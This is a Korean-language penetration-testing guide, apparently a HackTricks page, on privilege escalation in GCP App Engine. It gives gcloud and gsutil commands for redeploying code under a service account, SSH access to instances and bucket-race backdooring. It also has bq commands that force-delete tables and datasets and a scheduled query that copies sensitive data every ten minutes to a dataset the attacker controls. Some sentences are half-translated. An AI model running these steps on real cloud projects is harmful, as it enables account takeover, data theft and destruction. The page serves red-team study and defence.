GCP - AppEngine Privesc

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

App Engine

App Engine에 대한 자세한 내용은 다음을 확인하세요:

GCP - App Engine Enum

appengine.applications.get, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.operations.list, appengine.services.get, appengine.services.list, appengine.versions.create, appengine.versions.get, appengine.versions.list, cloudbuild.builds.get,iam.serviceAccounts.actAs, resourcemanager.projects.get, storage.objects.create, storage.objects.list

이는 gcloud cli를 사용해 App을 배포하기 위한 필요한 권한들입니다. 아마도 getlist 권한은 생략(피할) 수 있을지도 모릅니다.

파이썬 코드 예제는 https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine 에서 찾을 수 있습니다.

기본적으로 App 서비스의 이름은 **default**가 되며, 동일한 이름을 가진 인스턴스는 하나만 존재할 수 있습니다.
두 번째 App을 생성하려면 **app.yaml**에서 루트 키의 값을 **service: my-second-app**처럼 변경하세요.

cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder

최소 10~15분은 기다리세요. 작동하지 않으면 deploy another of times를 호출하고 몇 분 더 기다리세요.

Note

사용할 Service Account를 지정하는 것이 가능합니다, 하지만 기본적으로는 App Engine default SA가 사용됩니다.

애플리케이션의 URL은 https://<proj-name>.oa.r.appspot.com/ 또는 https://<service_name>-dot-<proj-name>.oa.r.appspot.com와 같습니다.

동등한 권한으로 업데이트

새 AppEngine을 생성할 권한은 없지만 기존 AppEngine을 업데이트할 권한은 있을 수 있습니다. 그런 경우 현재 AppEngine을 업데이트하는 방법은 다음과 같습니다:

# Find the code of the App Engine in the buckets
gsutil ls

# Download code
mkdir /tmp/appengine2
cd /tmp/appengine2
## In this case it was found in this custom bucket but you could also use the
## buckets generated when the App Engine is created
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
unzip labs_appengine_1_premissions_privesc.zip

## Now modify the code..

## If you don't have an app.yaml, create one like:
cat >> app.yaml <<EOF
runtime: python312

entrypoint: gunicorn -b :\$PORT main:app

env_variables:
A_VARIABLE: "value"
EOF

# Deploy the changes
gcloud app deploy

# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com

이미 AppEngine을 장악했고 사용할 서비스 계정에 대해 appengine.applications.update 권한과 actAs 권한이 있다면, AppEngine에서 사용하는 서비스 계정을 다음과 같이 수정할 수 있습니다:

gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com

appengine.instances.enableDebug, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.services.get, appengine.services.list, appengine.versions.get, appengine.versions.list, compute.projects.get

이 권한들로, 유형이 flexible(표준이 아님)인 App Engine 인스턴스에 ssh로 로그인할 수 있습니다. 일부의 listget 권한은 실제로 필요하지 않을 수 있습니다.

gcloud app instances ssh --service <app-name> --version <version-id> <ID>

appengine.applications.update, appengine.operations.get

이 권한은 google이 애플리케이션을 설정할 때 사용할 백그라운드 SA를 변경하는 것뿐이라, 이를 악용해 service account를 탈취할 수는 없을 것 같습니다.

gcloud app update --service-account=<sa_email>

appengine.versions.getFileContents, appengine.versions.update

이 권한들을 어떻게 사용해야 하는지, 또는 유용한지 확실하지 않습니다 (코드를 변경하면 새 버전이 생성되므로 코드만 업데이트하거나 그 버전의 IAM role을 바로 변경할 수 있는지 잘 모르겠습니다. 하지만 가능할 것 같고, 아마 bucket 내부의 코드를 변경하는 방식일까요??).

bigquery.tables.delete, bigquery.datasets.delete & bigquery.models.delete (bigquery.models.getMetadata)

테이블, dataset 또는 모델을 제거하려면:

# Table removal
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>

# Dataset removal
bq rm -r -f <PROJECT_ID>:<DATASET>

# Model removal
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>

Scheduled Queries 악용

With the bigquery.datasets.get, bigquery.jobs.create, and iam.serviceAccounts.actAs permissions, an identity can query dataset metadata, launch BigQuery jobs, and execute them using a Service Account with higher privileges.

이 공격은 악성으로 Scheduled Queries를 이용해 쿼리를 자동화(선택한 Service Account로 실행되며), 예를 들어 공격자가 접근 가능한 다른 테이블이나 데이터셋으로 민감한 데이터를 읽어 쓰게 할 수 있습니다 — 외부로 데이터를 직접 추출할 필요 없이 간접적이고 지속적인 exfiltration을 가능하게 합니다.

공격자가 원하는 쿼리를 실행할 수 있는 권한이 있는 Service Account를 파악하면, 해당 Service Account로 실행되도록 Scheduled Query 구성을 만들어 결과를 주기적으로 공격자가 선택한 데이터셋에 기록하도록 할 수 있습니다.

bq mk \
--transfer_config \
--project_id=<PROJECT_ID> \
--location=US \
--data_source=scheduled_query \
--target_dataset=<DEST_DATASET> \
--display_name="Generic Scheduled Query" \
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
--schedule="every 10 minutes" \
--params='{
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
"destination_table_name_template": "<destination_table>",
"write_disposition": "WRITE_TRUNCATE"
}'

buckets에 대한 쓰기 권한

앞서 언급한 것처럼 appengine 버전은 staging.<project-id>.appspot.com 형식의 이름을 가진 bucket 내부에 일부 데이터를 생성합니다. GCP 사용자는 appspot.com 도메인을 사용해 버킷을 생성할 권한이 없으므로 이 버킷을 사전에 탈취(pre-takeover)하는 것은 불가능합니다.

그러나 이 bucket에 대한 읽기 & 쓰기 권한이 있으면, 해당 bucket을 모니터링하여 변경이 발생할 때마다 가능한 한 빠르게 코드를 수정함으로써 AppEngine 버전에 연결된 SA로 권한 상승이 가능합니다. 이렇게 하면 이 코드로 생성되는 컨테이너가 execute the backdoored code.

자세한 정보와 PoC는 이 페이지의 관련 정보를 확인하세요:

GCP - Storage Privesc

Artifact Registry에 대한 쓰기 권한

App Engine가 Artifact Registry 내부에 docker images를 생성하긴 하지만, 테스트 결과 even if you modify the image inside this service 그리고 App Engine 인스턴스를 제거(새 인스턴스가 배포됨)해도 code executed doesn’t change.
버킷과 마찬가지로 Race Condition attack like with the buckets it might be possible to overwrite the executed code를 수행하면 실행되는 코드를 덮어쓸 수 있을 가능성이 있지만, 이는 테스트되지 않았습니다.

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기